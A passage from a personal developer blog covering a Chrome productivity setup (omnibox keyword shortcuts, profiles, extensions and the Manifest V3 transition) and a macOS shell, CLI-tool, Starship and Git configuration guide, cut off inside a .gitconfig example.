- [Intl.Segmenter - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/Segmenter) - API documentation and browser support
- [Intl.Segmenter is now part of Baseline - web.dev](https://web.dev/blog/intl-segmenter) - Browser support announcement (April 2024)
- [MySQL 8.0: When to use utf8mb3 over utf8mb4](https://dev.mysql.com/blog-archive/mysql-8-0-when-to-use-utf8mb3-over-utf8mb4/) - Database charset guidance

# DEVELOPER EXPERIENCE

Productivity workflows and team practices for engineers.

---

## Chrome Developer Setup: Extensions, Profiles, and Shortcuts

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/developer-experience/productivity-workflows/chrome-developer-setup
**Category:** Developer Experience / Productivity & Workflows
**Description:** A Chrome configuration optimized for senior developers: omnibox keywords for instant navigation, browser-agnostic tooling for cross-browser testing, and profile isolation for multi-account workflows.

# Chrome Developer Setup: Extensions, Profiles, and Shortcuts

A Chrome configuration optimized for senior developers: omnibox keywords for instant navigation, browser-agnostic tooling for cross-browser testing, and profile isolation for multi-account workflows.

<figure>

![Address bar keywords route queries directly to target services via URL template substitution](./address-bar-keywords-route-queries-directly-to-target-services-via-url-template-.svg)

<figcaption>Address bar keywords route queries directly to target services via URL template substitution</figcaption>

</figure>

## Abstract

Chrome's omnibox functions as a command-line interface when configured with custom site search shortcuts. Each shortcut maps a keyword to a URL template containing `%s` as a query placeholder—typing `j 123` expands to `https://company.atlassian.net/secure/QuickSearch.jspa?searchString=123`.

**The core mental model:**

1. **Omnibox = dispatch layer** — Keywords trigger URL template expansion, bypassing navigation entirely
2. **AI tool URL parameters are unreliable (2025)** — Only Perplexity's `?q=` works; Claude, ChatGPT, and Gemini parameters broke or were restricted due to security concerns
3. **Browser-agnostic tools = portability** — Raindrop.io and Bitwarden sync across Chrome, Firefox, Arc, Brave; no lock-in when testing browsers
4. **Profile isolation = context separation** — Each Chrome profile maintains independent cookies, extensions, and search engines; use separate profiles for work/personal/testing
5. **Manifest V3 reality** — Chrome removed MV2 support in Chrome 139 (June 2025); ad blockers like uBlock Origin Lite operate under Declarative Net Request (DNR) API limitations; full blocking requires Firefox or Brave

**Why this matters:** Developers context-switch constantly between Jira, Confluence, AI tools, and Google Workspace. Omnibox shortcuts eliminate the navigate-then-search pattern, reducing each lookup to a single keyboard action—though AI tool integration has become more fragmented.

---

## Address Bar Keywords

Chrome's site search shortcuts (Settings → Search engine → Manage search engines and site search) let you define custom URL templates. When you type a keyword followed by a space or tab, Chrome enters "search mode" for that shortcut—your query replaces `%s` in the URL template.

**Setup:** Navigate to `chrome://settings/searchEngines`, scroll to **Site search**, click **Add**.

**How it works:** Chrome stores three fields per shortcut:

- **Name**: Display label (e.g., "Jira Quick Search")
- **Shortcut**: The keyword you type (e.g., `j`)
- **URL**: Template with `%s` placeholder (e.g., `https://company.atlassian.net/secure/QuickSearch.jspa?searchString=%s`)

When you type `j 123` and press Enter, Chrome substitutes `123` for `%s` and navigates directly to the resulting URL. The space after the keyword triggers search mode; you can also press Tab for explicit activation.

### Development & Work Tools

> Replace `<your-company-name>` and `<your-project-code>` with your actual Jira/Atlassian values.

| Tool                    | Keyword | URL Template                                                                                             | Example                                      |
| :---------------------- | :------ | :------------------------------------------------------------------------------------------------------- | :------------------------------------------- |
| **Jira (Smart Search)** | `j`     | `https://<your-company-name>.atlassian.net/secure/QuickSearch.jspa?searchString=%s`                      | `j 123` (jumps to ticket) or `j login bug`   |
| **Jira (Project)**      | `jp`    | `https://<your-company-name>.atlassian.net/issues?jql=textfields~"%s" AND project="<your-project-code>"` | `jp checkout` (searches only this project)   |
| **Jira Ticket**         | `jt`    | `https://<your-company-name>.atlassian.net/browse/<your-project-code>-%s`                                | `jt 125` (opens ticket `<project-code>-125`) |
| **Confluence**          | `cf`    | `https://<your-company-name>.atlassian.net/wiki/search?text=%s`                                          | `cf onboarding`                              |
| **Bitbucket**           | `bb`    | `https://bitbucket.org/search?q=%s`                                                                      | `bb repo_name`                               |
| **Chrome Web Store**    | `ext`   | `https://chrome.google.com/webstore/search/%s`                                                           | `ext json viewer`                            |

**Why these shortcuts matter:** Jira's Smart Search (`QuickSearch.jspa`) is particularly powerful—it accepts ticket numbers, text queries, and JQL fragments. Typing `j PROJ-123` navigates directly to the ticket; `j login bug` searches across all projects. The project-scoped `jp` shortcut adds a JQL filter to constrain results when you're focused on a single codebase.

### AI Tools

| Tool           | Keyword  | URL Template                            | Status (January 2026)              |
| :------------- | :------- | :-------------------------------------- | :--------------------------------- |
| **Perplexity** | `p`      | `https://www.perplexity.ai/search?q=%s` | Works; auto-submits                |
| **Claude**     | `c`      | `https://claude.ai/new?q=%s`            | Broken since October 2025          |
| **ChatGPT**    | `gpt`    | `https://chatgpt.com/?q=%s`             | Restricted; security modifications |
| **Gemini**     | `gemini` | Use `@gemini` in omnibox                | Requires Chrome's native shortcut  |

**Current status by tool:**

- **Perplexity**: Fully working. Auto-submits the query immediately—results appear without additional interaction. This is the only AI tool where URL parameters work reliably.
- **Claude**: The `?q=` parameter stopped working in October 2025. No official fix announced. You can still use the shortcut to navigate to Claude, but the query won't pre-fill.
- **ChatGPT**: OpenAI added security protections in July 2025 that restrict `?q=` parameter behavior based on the `sec-fetch-site` header. Third-party extensions exist to restore functionality, but native URL parameters are unreliable.
- **Gemini**: Chrome's native `@gemini` omnibox shortcut works (type `@gemini` then space or tab), but it uses HTTP headers rather than URL parameters. The `?q=` parameter requires the [Gemini URL Prompt extension](https://chromewebstore.google.com/detail/gemini-url-prompt-auto-prefill/gcooahlbfkojbacclfbofkcknbiopjan).

**Profile-specific defaults:** I configure Perplexity as the default search engine on my personal profile (for general research). Given the URL parameter restrictions on other AI tools, Perplexity is currently the most reliable option for omnibox-based AI queries.

### Google Workspace

| Tool              | Keyword | URL Template                                     | Example                 |
| :---------------- | :------ | :----------------------------------------------- | :---------------------- |
| **Google Sheets** | `sheet` | `https://docs.google.com/spreadsheets/u/0/?q=%s` | `sheet Q1 budget`       |
| **Google Docs**   | `doc`   | `https://docs.google.com/document/u/0/?q=%s`     | `doc meeting notes`     |
| **Google Drive**  | `dr`    | `https://drive.google.com/drive/search?q=%s`     | `dr project proposal`   |
| **Gmail**         | `gm`    | `https://mail.google.com/mail/u/0/#search/%s`    | `gm invoice from apple` |

**The `/u/0/` path segment:** This specifies the first logged-in Google account. If you use multiple Google accounts, `/u/1/` accesses the second account, `/u/2/` the third, etc. For multi-account workflows, create separate shortcuts per account index.

**Instant creation shortcuts:** Chrome recognizes `.new` TLDs owned by Google. Type `sheet.new`, `doc.new`, `slides.new`, or `meet.new` directly in the omnibox to create a blank file or start a meeting—no custom shortcut required.

### Entertainment & Shopping

| Tool              | Keyword | URL Template                                      | Example              |
| :---------------- | :------ | :------------------------------------------------ | :------------------- |
| **YouTube**       | `yt`    | `https://www.youtube.com/results?search_query=%s` | `yt coding tutorial` |
| **YouTube Music** | `ym`    | `https://music.youtube.com/search?q=%s`           | `ym lo-fi beats`     |
| **Amazon**        | `az`    | `https://www.amazon.com/s?k=%s`                   | `az running shoes`   |

### Utilities

| Tool                | Keyword | URL Template                                         | Example                |
| :------------------ | :------ | :--------------------------------------------------- | :--------------------- |
| **Google Maps**     | `map`   | `https://www.google.com/maps/search/%s`              | `map coffee near me`   |
| **Google Calendar** | `cal`   | `https://calendar.google.com/calendar/r/search?q=%s` | `cal standup`          |
| **Google Images**   | `img`   | `https://www.google.com/search?tbm=isch&q=%s`        | `img transparent logo` |
| **Define (Google)** | `def`   | `https://www.google.com/search?q=define+%s`          | `def esoteric`         |

**Additional `.new` shortcuts:** `cal.new` creates a calendar event, `meet.new` starts a Google Meet.

---

## Chrome Profiles

Chrome profiles provide isolated browser environments—each profile maintains separate cookies, history, extensions, bookmarks, and site search shortcuts. This isolation is essential for developers who:

- **Manage multiple accounts**: Separate profiles for work Google account, personal account, and client accounts avoid constant sign-in/sign-out cycles
- **Test in clean environments**: A "testing" profile without extensions reveals how users experience your site
- **Maintain context boundaries**: Work bookmarks, search engines, and extensions stay out of personal browsing

**Creating profiles:** Click your profile avatar (top-right) → **Add** → Sign in with a Google account or use without an account for local-only profiles.

**Visual identification:** Assign distinct colors and names to each profile. Chrome displays the profile color in the title bar, making it immediately obvious which context you're in.

**Profile sync:** When signed into a Google account, Chrome syncs bookmarks, history, passwords, and extensions across devices. Each profile syncs independently—work profile syncs to work account, personal to personal.

> **Edge case:** Site search shortcuts do **not** sync across devices as of Chrome 144 (January 2026). Export/import is not supported natively; you must recreate them manually on each device. Third-party extensions like "More Than 10 Shortcuts" offer experimental sync via JSON export/import.

---

## Essential Extensions

Browser-agnostic tools are essential for developers who test across Chrome, Firefox, Arc, and Brave. The goal: avoid lock-in while maintaining consistent workflows.

### Cross-Browser Sync

| Extension                               | Purpose                                                                                                                                                                                                       |
| :-------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **[Raindrop.io](https://raindrop.io/)** | Bookmark manager with browser extensions for Chrome, Firefox, Safari, and Edge. Syncs via Raindrop's servers, not browser-native sync. Supports nested collections, tags, and full-text search.               |
| **[Bitwarden](https://bitwarden.com/)** | Open-source password manager with passkey storage. The desktop app provides system-wide autofill (works in all browsers and native apps). Browser extensions connect to the desktop app or Bitwarden servers. |

**Why Raindrop.io over browser bookmarks:** Browser-native bookmarks only sync within the same browser ecosystem. Raindrop.io maintains a single bookmark library accessible from any browser—essential when switching to Firefox for testing uBlock Origin or Arc for its workspace features.

**Chrome side panel support (September 2025):** The Raindrop extension now supports Chrome's side panel toggle, allowing quick access to your bookmarks without leaving the current page.

**Important limitation:** Raindrop.io does not integrate with the browser's built-in "Add bookmark" dialog. You must use the Raindrop extension's save button or keyboard shortcut to capture bookmarks into Raindrop.

**Bitwarden passkey support (November 2025):** Bitwarden browser extensions for Chromium-based browsers support passkey login using WebAuthn PRF (Pseudo-Random Function). This enables passwordless vault unlock with a hardware key or platform authenticator—up to five PRF-compatible passkeys per account. Available on the free tier. The Windows 11 desktop app also integrates as a native passkey provider, allowing passkey creation and use outside the browser.

### Development

| Extension                                                                                                                    | Purpose                                                                                                                                                                                                                                            |
| :--------------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **[React Developer Tools](https://chromewebstore.google.com/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi)** | Adds "Components" and "Profiler" tabs to DevTools. Inspect component hierarchy, props, state; profile render performance. Version 7.0.1 (October 2025) adds full React 19 support including `useActionState`, `useOptimistic`, and the `use` hook. |
| **[uBlock Origin Lite](https://chromewebstore.google.com/detail/ublock-origin-lite/ddkjiahejlhfcafbddmgiahcphecmpfh)**       | MV3 ad blocker using Declarative Net Request (DNR) API. Limited to 30,000 filtering rules (vs. unlimited in full uBlock Origin). Blocks ~60% of what the full version catches—adequate for basic ads, insufficient for sophisticated ad networks.  |

**React Developer Tools capabilities (v7.0.1):**

- **Components tab**: Browse component tree, inspect props/state, edit values in real-time
- **Profiler tab**: Record render sessions, view flamegraphs showing which components rendered and how long each took
- **Element sync**: Selecting an element in the Elements panel highlights the corresponding React component
- **Server Components debugging**: "Suspended by" section shows all suspension causes for Next.js Server Components
- **React 19 hooks**: Full inspection support for `useActionState`, `useOptimistic`, `useFormStatus`, and the `use` hook
- **Hydration mismatch debugging**: Improved error reporting for SSR hydration issues

**The Manifest V3 reality (June 2025):** Chrome removed MV2 support entirely in Chrome 139 (June 2025). The original uBlock Origin is no longer available on Chrome Web Store and cannot be re-enabled.

| Timeline               | Event                                                           |
| :--------------------- | :-------------------------------------------------------------- |
| October 2024           | Gradual MV2 disabling began in Chrome stable                    |
| June 2025 (Chrome 139) | MV2 support removed entirely; enterprise policy exemption ended |

**Why MV3 limits ad blockers:** MV2's `webRequest` API allowed extensions to intercept and modify network requests dynamically—this powered uBlock Origin's context-aware blocking. MV3's Declarative Net Request (DNR) API requires extensions to declare static filtering rules in advance, capped at 30,000 rules. The result: uBlock Origin Lite cannot perform the dynamic blocking that made the original effective against sophisticated ad networks.

**Alternatives for full ad blocking:**

- **Firefox**: Mozilla confirmed MV2 support continues with no deprecation planned; run the original uBlock Origin
- **Brave**: Hosts uBlock Origin (MV2) on their own extension backend at `brave://settings/extensions/v2`; also has a built-in ad blocker
- **Opera/Vivaldi**: Actively maintaining MV2 support

### AI Integration

| Extension                               | Purpose                                                                                                                                                                      |
| :-------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **[Claude](https://claude.com/chrome)** | Browser automation via side panel. Claude can navigate pages, click elements, fill forms, read console logs, manage tabs, and execute multi-step workflows. Paid plans only. |

**Claude in Chrome capabilities (as of January 2026):**

The extension operates in a side panel while you browse. Key features:

- **Direct browser control**: Navigate, click, type, scroll, read DOM and console logs
- **Multi-tab workflows**: Group tabs for Claude to interact with multiple pages simultaneously
- **Scheduled tasks**: Configure shortcuts to run automatically on a schedule
- **Workflow recording**: Record manual actions to teach Claude repeatable workflows
- **Planning mode**: "Ask before acting" has Claude propose a plan for approval, then execute autonomously within approved boundaries
- **Claude Code integration**: Build in terminal, test in browser, debug via console—Claude Code sends commands to the Chrome extension via Native Messaging API
- **MCP Apps** (January 2026): MCP servers can deliver interactive UI elements directly in conversations

**Model availability (January 2026):**

| Plan                     | Available Models                              |
| :----------------------- | :-------------------------------------------- |
| **Free**                 | Haiku 4.5                                     |
| **Pro** ($20/month)      | Sonnet 4, Opus 4.1, Haiku 4.5                 |
| **Max** ($100-200/month) | Full lineup including Opus 4.5, higher limits |
| **Team, Enterprise**     | All models, admin controls                    |

**Model deprecation note:** Claude 3 Opus (February 2024) and Claude 3.5 Sonnet were retired January 5, 2026. Opus 4.5, released November 24, 2025, is the current flagship model with improvements in coding and workplace tasks.

**My Claude workflow:**

| Surface                     | Use Case                                                     |
| :-------------------------- | :----------------------------------------------------------- |
| **Desktop app** (`⌥ Space`) | Quick questions without context-switching                    |
| **Claude Code CLI + IDE**   | Coding tasks: debugging, refactoring, generation             |
| **Browser extension**       | Automation: filling forms, navigating sites, extracting data |

This multi-surface approach eliminates tool-switching: quick lookups in the desktop app, coding in the terminal, browser automation in Chrome.

## Conclusion

Chrome's productivity comes from treating the omnibox as a command dispatcher rather than just a search bar. Site search shortcuts eliminate the navigate-then-search pattern, reducing each lookup to a single keyboard action. Combined with profile isolation for multi-account workflows and browser-agnostic tools like Raindrop.io and Bitwarden, this setup maintains consistency whether you're in Chrome, Firefox, or Arc.

The Manifest V3 transition completed in June 2025 with Chrome 139—serious ad blocking now requires Firefox or Brave. AI tool URL parameters have become unreliable: only Perplexity's `?q=` parameter works consistently, while Claude, ChatGPT, and Gemini require workarounds. For development tools (React DevTools, Vue DevTools) and AI integration (Claude in Chrome), Chrome's extension ecosystem remains robust.

The key insight: invest time configuring shortcuts and profiles once, then benefit from reduced friction on every subsequent interaction.

## Appendix

### Prerequisites

- Chrome (or Chromium-based browser) installed
- Familiarity with Chrome DevTools basics
- For Claude extension: Paid Claude subscription (Pro, Max, Team, or Enterprise)

### Terminology

- **Omnibox**: Chrome's address bar, which functions as both URL input and search box
- **Site search shortcut**: Chrome's term for custom search engine keywords
- **Manifest V3 (MV3)**: Chrome's extension platform introduced in 2020, replacing Manifest V2; uses declarative APIs with reduced dynamic capabilities; MV2 support removed in Chrome 139 (June 2025)
- **DNR API**: Declarative Net Request API, MV3's replacement for the webRequest API; requires static rule declaration with a 30,000 rule limit
- **WebAuthn PRF**: Pseudo-Random Function extension for WebAuthn, enabling passkeys to derive encryption keys for vault decryption
- **MCP Apps**: Model Context Protocol apps; allow MCP servers to deliver interactive UI elements in Claude conversations (January 2026)

### Summary

- **Omnibox shortcuts** map keywords to URL templates; `j 123` becomes direct Jira navigation; shortcuts do not sync across devices (as of Chrome 144)
- **AI tool URL parameters** are unreliable: only Perplexity's `?q=` works; Claude and ChatGPT parameters broke in 2025; Gemini requires Chrome's native `@gemini` shortcut
- **Chrome profiles** provide isolated environments for work, personal, and testing contexts
- **Raindrop.io** syncs bookmarks across browsers with Chrome side panel support; use the extension's save action
- **Bitwarden** supports passkey login on Chromium browsers (November 2025); free tier included
- **Manifest V3** completed June 2025 (Chrome 139); uBlock Origin Lite blocks ~60% of ads; for full blocking, use Firefox or Brave
- **Claude in Chrome** automates browser tasks; model availability varies by plan (Opus 4.5 on Max/Team/Enterprise)

### References

**Official Documentation:**

- [Set default search engine and site search shortcuts](https://support.google.com/chrome/answer/95426) - Chrome Help Center
- [Manage Chrome with multiple profiles](https://support.google.com/chrome/answer/2364824) - Chrome Help Center
- [Manifest V2 support timeline](https://developer.chrome.com/docs/extensions/develop/migrate/mv2-deprecation-timeline) - Chrome Developers
- [Resuming the transition to Manifest V3](https://developer.chrome.com/blog/resuming-the-transition-to-mv3) - Chrome Developers (June 2025 completion)
- [React Developer Tools](https://react.dev/learn/react-developer-tools) - React documentation
- [Chrome Releases Blog](https://chromereleases.googleblog.com/) - Version announcements

**Vendor Pages:**

- [Claude in Chrome](https://claude.com/chrome) - Anthropic
- [Piloting Claude in Chrome](https://www.anthropic.com/news/claude-for-chrome) - Anthropic announcement (December 2025)
- [Introducing Claude Opus 4.5](https://www.anthropic.com/news/claude-opus-4-5) - Anthropic (November 2025)
- [Raindrop.io](https://raindrop.io/) - Bookmark manager
- [Raindrop.io Changelog](https://help.raindrop.io/changelog) - Recent updates
- [Bitwarden](https://bitwarden.com/) - Password manager
- [Bitwarden passkey login for browser extensions](https://bitwarden.com/blog/log-into-bitwarden-with-a-passkey/) - Bitwarden blog (November 2025)

**Technical Analysis:**

- [uBlock Origin vs uBlock Origin Lite](https://adblock-tester.com/ad-blockers/ublock-origin-vs-ublock-origin-lite/) - MV2 vs MV3 capability comparison
- [About Chrome's MV3 extension warnings](https://github.com/gorhill/uBlock/wiki/About-Google-Chrome's-%22This-extension-may-soon-no-longer-be-supported%22) - uBlock Origin wiki

**AI Tool URL Parameters:**

- [ChatGPT Prompt Injection via ?q= Parameter](https://de.tenable.com/security/research/tra-2025-22) - Tenable Research (July 2025 security changes)
- [Gemini URL Prompt extension](https://chromewebstore.google.com/detail/gemini-url-prompt-auto-prefill/gcooahlbfkojbacclfbofkcknbiopjan) - Chrome Web Store

---

## macOS Developer Environment Setup

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/developer-experience/productivity-workflows/editor-terminal-setup
**Category:** Developer Experience / Productivity & Workflows
**Description:** A production-ready development environment for macOS, designed around keyboard-driven workflows, reproducible setup via Ansible, and modern CLI tools that replace legacy UNIX utilities. This configuration separates work and personal contexts at the Git, SSH, and directory levels. Optimized for Apple Silicon with sub-100ms shell startup.

# macOS Developer Environment Setup

A production-ready development environment for macOS, designed around keyboard-driven workflows, reproducible setup via Ansible, and modern CLI tools that replace legacy UNIX utilities. This configuration separates work and personal contexts at the Git, SSH, and directory levels. Optimized for Apple Silicon with sub-100ms shell startup.

<figure>

![Bootstrap flow: Homebrew → Ansible → tool installation + config symlinking. Runtime loads shell config, git profiles, and prompt.](./bootstrap-flow-homebrew-ansible-tool-installation-config-symlinking-runtime-load.svg)

<figcaption>Bootstrap flow: Homebrew → Ansible → tool installation + config symlinking. Runtime loads shell config, git profiles, and prompt.</figcaption>
</figure>

## Abstract

The setup centers on three principles:

1. **Declarative automation**: An Ansible playbook installs all tools and symlinks all configuration files—a fresh machine reaches full productivity in one command.
2. **Context separation**: Git config uses `includeIf` to load different identities based on repo path (`~/work/` vs `~/personal/`). SSH config maps hosts to identity files.
3. **Modern CLI replacements**: `eza` > `ls`, `bat` > `cat`, `ripgrep` > `grep`, `fzf` for fuzzy search, `zoxide` for directory jumping—each is faster and more ergonomic than its predecessor.

The configuration assumes macOS with Apple Silicon (M1/M2/M3/M4). Paths reference `/opt/homebrew`; Intel Macs use `/usr/local`.

## Shell Configuration

The `.zshrc` is organized into numbered sections that load in dependency order. The design ensures version managers initialize before tools that depend on them, and plugins that modify the prompt load last. Target startup time: under 100ms.

### PATH and Homebrew

```zsh title=".zshrc" collapse={1-8}
########################################
# ~/.zshrc - Sujeet's shell configuration
########################################

########################################
# 0. Early environment / Homebrew setup
########################################

# Static Homebrew paths (faster than eval "$(brew shellenv)")
export HOMEBREW_PREFIX="/opt/homebrew"
export HOMEBREW_CELLAR="/opt/homebrew/Cellar"
export HOMEBREW_REPOSITORY="/opt/homebrew"

export PATH="$HOME/.local/bin:$PATH"
export PATH="$HOMEBREW_PREFIX/bin:$HOMEBREW_PREFIX/sbin:$PATH"
export FPATH="$HOMEBREW_PREFIX/share/zsh/site-functions:$FPATH"
```

**Why static paths over `brew shellenv`**: The `eval "$(brew shellenv)"` call spawns a subprocess (~50-400ms). Since Homebrew paths are constant on Apple Silicon (`/opt/homebrew`), hardcoding them saves startup time. Intel Macs use `/usr/local` instead.

### Version Managers

The config supports four language ecosystems via dedicated version managers:

| Language   | Manager | Root Directory | Init Mechanism                            |
| ---------- | ------- | -------------- | ----------------------------------------- |
| Go         | goenv   | `~/.goenv`     | `eval "$(goenv init -)"`                  |
| Python     | pyenv   | `~/.pyenv`     | `eval "$(pyenv init -)"`                  |
| Java (JVM) | SDKMAN  | `~/.sdkman`    | `source "$SDKMAN_DIR/bin/sdkman-init.sh"` |
| Node.js    | fnm     | `~/.fnm`       | `eval "$(fnm env --use-on-cd)"`           |

```zsh title=".zshrc" collapse={1-3, 8-10, 15-17, 22-24}
# --- Go (goenv) ---
export GOENV_ROOT="$HOME/.goenv"
export PATH="$GOENV_ROOT/bin:$PATH"
if command -v goenv &>/dev/null; then
  eval "$(goenv init -)"
fi

# --- Python (pyenv) ---
export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
if command -v pyenv &>/dev/null; then
  eval "$(pyenv init -)"
fi

# --- Java (SDKMAN) ---
export SDKMAN_DIR="$HOME/.sdkman"
if [ -s "$SDKMAN_DIR/bin/sdkman-init.sh" ]; then
  source "$SDKMAN_DIR/bin/sdkman-init.sh"
fi

# --- Node.js (fnm) ---
export FNM_DIR="$HOME/.fnm"
if command -v fnm &>/dev/null; then
  eval "$(fnm env --use-on-cd)"
fi
```

**Why fnm over nvm/Volta**: fnm (Fast Node Manager) is written in Rust and initializes in ~5ms versus nvm's 500-2000ms. The `--use-on-cd` flag auto-switches versions when entering directories with `.nvmrc` or `.node-version` files. fnm is now listed as the default download option on nodejs.org.

> **Migration note**: Volta was previously recommended here but is now unmaintained as of 2024. The Volta team recommends migrating to mise or fnm. Existing Volta installations continue to work but won't receive updates for OS changes or ecosystem breakages.

### History Configuration

```zsh title=".zshrc"
export HISTFILE="$HOME/.zsh_history"
export HISTSIZE=100000
export SAVEHIST=100000

setopt EXTENDED_HISTORY        # Write format ':start:elapsed;command'
setopt SHARE_HISTORY           # Share across all sessions (implies INC_APPEND_HISTORY)
setopt HIST_EXPIRE_DUPS_FIRST  # Expire duplicates first when trimming
setopt HIST_IGNORE_ALL_DUPS    # Delete old duplicate when new is added
setopt HIST_FIND_NO_DUPS       # Don't show duplicates in search
setopt HIST_IGNORE_SPACE       # Don't record commands starting with space
setopt HIST_SAVE_NO_DUPS       # Don't write duplicates to file
setopt HIST_REDUCE_BLANKS      # Strip extra whitespace
setopt HIST_VERIFY             # Expand history before executing
```

**Why 100K entries**: Disk is cheap; losing a command you ran six months ago is expensive. The deduplication options (`HIST_IGNORE_ALL_DUPS`, `HIST_SAVE_NO_DUPS`, `HIST_FIND_NO_DUPS`) prevent bloat from repeated commands.

**Why `SHARE_HISTORY` alone**: It implicitly enables `INC_APPEND_HISTORY`. Setting both can cause conflicts. `EXTENDED_HISTORY` adds timestamps, enabling time-based search and forensics.

### Prefix-Based History Search

```zsh title=".zshrc"
bindkey '^[[A' history-beginning-search-backward   # Up arrow
bindkey '^[[B' history-beginning-search-forward    # Down arrow
```

Type `git co` then press Up—cycles through all history entries starting with `git co`. This is more useful than generic reverse search for common prefixes.

### Completion System

```zsh title=".zshrc"
# Rebuild completion cache only once per day
autoload -Uz compinit
if [ "$(date +'%j')" != "$(stat -f '%Sm' -t '%j' ~/.zcompdump 2>/dev/null)" ]; then
  compinit
else
  compinit -C  # Skip security check, use cache
fi

zstyle ':completion:*' menu select
zstyle ':completion:*' matcher-list 'm:{a-z}={A-Z}' 'r:|=*' 'l:|=*'
zstyle ':completion:*' completer _complete _approximate _expand_alias

setopt COMPLETE_IN_WORD
setopt AUTO_MENU
setopt AUTO_LIST
```

**Why daily cache**: `compinit` regenerates completion definitions on every startup unless cached. The date check rebuilds once per day; `compinit -C` skips security checks on subsequent loads, saving ~100-200ms.

The `matcher-list` enables case-insensitive matching and fuzzy completion. `menu select` shows a navigable menu when multiple completions exist. The `completer` style adds approximate matching and alias expansion.

## Modern CLI Replacements

These tools are faster, have better defaults, and produce more readable output than their UNIX predecessors. All are written in Rust or Go for performance.

| Legacy | Replacement | Key Improvements                                              |
| ------ | ----------- | ------------------------------------------------------------- |
| `ls`   | `eza`       | Git status, icons (Nerd Font), tree view, color by type       |
| `cat`  | `bat`       | Syntax highlighting, line numbers, Git integration            |
| `grep` | `ripgrep`   | Respects `.gitignore`, parallel search, faster on large trees |
| `find` | `fd`        | Simpler syntax, respects `.gitignore`, regex by default       |
| `find` | `fzf`       | Interactive fuzzy finder for files, history, anything         |
| `cd`   | `zoxide`    | Frecency-based jumping, learns from usage                     |
| `man`  | `tldr`      | Concise examples instead of verbose manuals                   |

> **Note on eza**: eza is the community-maintained fork of exa, which was discontinued in June 2023. eza receives active updates including new Nerd Fonts icon support.

### Aliases

```zsh title=".zshrc"
# eza aliases (requires Nerd Font)
alias ll="eza -lah --icons"
alias tree="eza --tree --level=2 --icons"

# Directory navigation
alias ..="cd .."
alias ...="cd ../.."

# Git shortcuts
alias gs="git status"
alias gl="git log --oneline --graph --decorate"
alias gcl='git checkout $(git branch | fzf | sed "s/^[* ]*//")'      # Local branch picker
alias gcr='git checkout $(git branch -r | fzf | sed "s/^[* ]*//" | sed "s/origin\///")'  # Remote branch picker
```

The `gcl` and `gcr` aliases pipe branch lists through `fzf` for interactive selection—eliminates typing branch names.

### Fuzzy Finder Integration

```zsh title=".zshrc"
if command -v fzf &>/dev/null; then
  source <(fzf --zsh)
fi
```

This enables (as of fzf v0.48.0+):

- `Ctrl+R`: Fuzzy search command history
- `Ctrl+T`: Fuzzy search files in current directory
- `Alt+C`: Fuzzy search and cd into directories

The `fzf --zsh` syntax is the modern shell integration method introduced in v0.48.0. It uses fzf's built-in file walker instead of spawning `find`, improving performance.

> **Breaking change**: fzf v0.51.0+ requires zsh 5.1 or later. If using an older zsh version, pin fzf to v0.50.0.

### Directory Jumping with zoxide

```zsh title=".zshrc"
if command -v zoxide &>/dev/null; then
  eval "$(zoxide init zsh)"
fi
```

After visiting directories, `z <pattern>` jumps to the most frecent (frequent + recent) match. `z proj` might jump to `~/work/my-project` if you visit it often.

**Frecency algorithm**: Each directory starts with a score of 1, incremented on each access. Scores decay based on last access time. When total score exceeds `_ZO_MAXAGE` (default: 10000), all scores are reduced to ~90% of max, and directories below score 1 are pruned.

> **Dependency**: zoxide v0.9.8+ requires fzf v0.51.0+ for interactive selection. Update fzf if `zi` (interactive mode) fails.

## Shell Plugins

### Autosuggestions

```zsh title=".zshrc"
if [ -f "$HOMEBREW_PREFIX/share/zsh-autosuggestions/zsh-autosuggestions.zsh" ]; then
  source "$HOMEBREW_PREFIX/share/zsh-autosuggestions/zsh-autosuggestions.zsh"
fi
```

Shows grayed-out suggestions as you type, based on history. Press Right Arrow to accept.

### Syntax Highlighting

```zsh title=".zshrc"
# Must be sourced last for best compatibility
if [ -f "$HOMEBREW_PREFIX/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh" ]; then
  source "$HOMEBREW_PREFIX/share/zsh-syntax-highlighting/zsh-syntax-highlighting.zsh"
fi
```

Colors commands, options, and paths as you type. Invalid commands appear red before you hit Enter.

**Why last**: The plugin hooks into the line editor. Loading it after other plugins ensures it sees the final state of each line.

## Starship Prompt

Starship is a Rust-based prompt that renders in ~10ms. Configuration lives in `~/.config/starship.toml`. As of v1.24.x (December 2025), Starship includes parallelized module loading and improved context detection.

### Core Configuration

```toml title="starship.toml"
add_newline = true
command_timeout = 800
scan_timeout = 50

format = """
$directory$git_branch$git_status$python$nodejs$golang$java
$character"""
```

The prompt shows: directory → git branch → git status → active language version → newline → prompt character.

### Prompt Character

```toml title="starship.toml"
[character]
success_symbol = "[❯](bold green) "
error_symbol = "[❯](bold red) "
vicmd_symbol = "[❮](bold yellow) "
```

The character changes color based on exit code—instant visual feedback for failed commands.

### Git Status Symbols

```toml title="starship.toml"
[git_status]
format = "[($all_status$ahead_behind )]($style)"
conflicted = "≠"
ahead = "⇡"
behind = "⇣"
diverged = "⇕"
untracked = "…"
stashed = "⚑"
modified = "✚"
staged = "●"
renamed = "»"
deleted = "✖"
```

These symbols appear only when relevant. A clean repo shows nothing; a repo with staged and modified files shows `●✚`.

### Language Version Indicators

```toml title="starship.toml"
[python]
symbol = " "
format = "[$symbol$version]($style) "

[nodejs]
symbol = "⬢ "
format = "[$symbol$version]($style) "

[golang]
symbol = " "
format = "[$symbol$version]($style) "

[java]
symbol = "☕ "
format = "[$symbol$version]($style) "
```

Starship detects language context via marker files (`package.json`, `go.mod`, `pom.xml`, etc.) and displays the active version. This requires a Nerd Font for icon rendering.

## Git Configuration

The Git setup uses conditional includes to load different identities based on repository path.

### Base Configuration

```ini title=".gitconfig" collapse={1-14}
########################################
# ~/.gitconfig - Global Git config
########################################
#
# Directory conventions:
#   - All work repos under:     ~/work/
#   - All personal repos under: ~/personal/
#
# Git will automatically load:
#   - ~/.gitconfig-work      if repo lives under ~/work/
